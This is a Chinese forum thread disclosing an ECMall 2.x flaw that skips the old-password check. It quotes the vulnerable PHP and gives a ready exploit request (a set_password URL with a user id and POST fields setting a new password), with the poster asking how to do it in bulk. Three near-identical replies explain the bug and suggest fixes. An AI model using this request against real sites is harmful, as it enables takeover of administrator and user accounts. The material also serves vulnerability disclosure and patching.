ecmall2.x修改任意管理员和用户密码
app/find_password.phpfunction set_password(){
if (!IS_POST)
{
......
}
else //POST提交
{
if (empty($_POST['new_password']) || empty($_POST['confirm_password']))
{
$this->show_warning("unsettled_required");
return ;
}
if (trim($_POST['new_password']) != trim($_POST['confirm_password']))
{
$this->show_warning("password_not_equal");
return ;
}
$password = trim($_POST['new_password']);
$passlen = strlen($password);
if ($passlen < 6 || $passlen > 20)
{
$this->show_warning('password_length_error');
return;
}
$id = intval($_GET['id']);//虽然是过滤了,但是不影响利用.
$word = $this->_rand();
$md5word = md5($word);
$ms =& ms(); //连接用户系统
$ms->user->edit($id, '', array('password' => $password), true); //强制修改 !!问题就出在这儿,false是需要验证的,不知道程序员为什么要设置成非验证修改,偷懒也不是这么偷的吧... if ($ms->user->has_error())
{
$this->show_warning($ms->user->get_error());
return;
}
$ret = $this->_password_mod->edit($id, array('activation' => $md5word));
$this->show_message("edit_success",
'login_in', 'index.php?app=member&act=login',
'back_index', 'index.php');
return ;
}
}
includes/passports/default.passport.php
function edit($user_id, $old_password, $items, $force = false)
{
if (!$force) //为false时需要验证,为ture时直接跳过执行下面的操作
{
$info = $this->get($user_id);
if (md5($old_password) != $info['password'])
{
$this->_error('auth_failed');
return false;
}
}
$edit_data = array();
if (isset($items['password']))
{
$edit_data['password']= md5($items['password']);
}
if (isset($items['email']))
{
$edit_data['email'] = $items['email'];
}
if (empty($edit_data))
{
return false;
}
//编辑本地数据
$this->_local_edit($user_id, $edit_data);//跟进
return true;
}
includes/passport.base.php
function _local_edit($user_id, $data)
{
$model_member =& m('member');
$model_member->edit($user_id, $data);\\执行update
return true;
}
EXP访问:index.php?app=find_password&act=set_password&id=1
POST提交 new_password=123456&confirm_password=123456
记得要修改ID、
有没办法批量啊
Re: ecmall2.x修改任意管理员和用户密码
感谢分享这个漏洞细节。看起来很严重,`set_password` 函数在修改密码时直接传了 `true` 给 `$force` 参数,跳过了旧密码验证,导致只要知道用户ID就能直接改密码。攻击者可以枚举 `id` 参数来重置任意用户或管理员的密码。建议尽快在 `edit` 调用时把 `true` 改成 `false`,或者加上当前密码的验证逻辑。关注这个漏洞的站长们最好立即更新或打补丁。Re: ecmall2.x修改任意管理员和用户密码
感谢分享,这个漏洞分析得很清楚。问题确实出在`edit()`调用时第四个参数传了`true`,跳过了旧密码验证,导致攻击者只要知道用户ID就能直接改密码,危害很大。建议使用ecmall2.x的站长尽快升级或打补丁,至少把那个`true`改成`false`或者加强权限校验。Re: ecmall2.x修改任意管理员和用户密码
这个漏洞分析得很清楚,问题确实出在 `edit` 方法调用时第四个参数传了 `true`,导致跳过了旧密码校验。攻击者只要知道目标用户的 `id`(比如通过遍历或信息泄露拿到),就可以直接通过 `set_password` 这个功能重置密码,非常危险。 建议修复时将 `true` 改成 `false`,或者至少在此处增加一个有效的 token 或激活码验证流程,确保只有通过正常找回密码链路的人才能修改密码。开发时图省事留下的 `true`,在安全上就成了致命伤。感谢楼主分享细节。
页:
[1]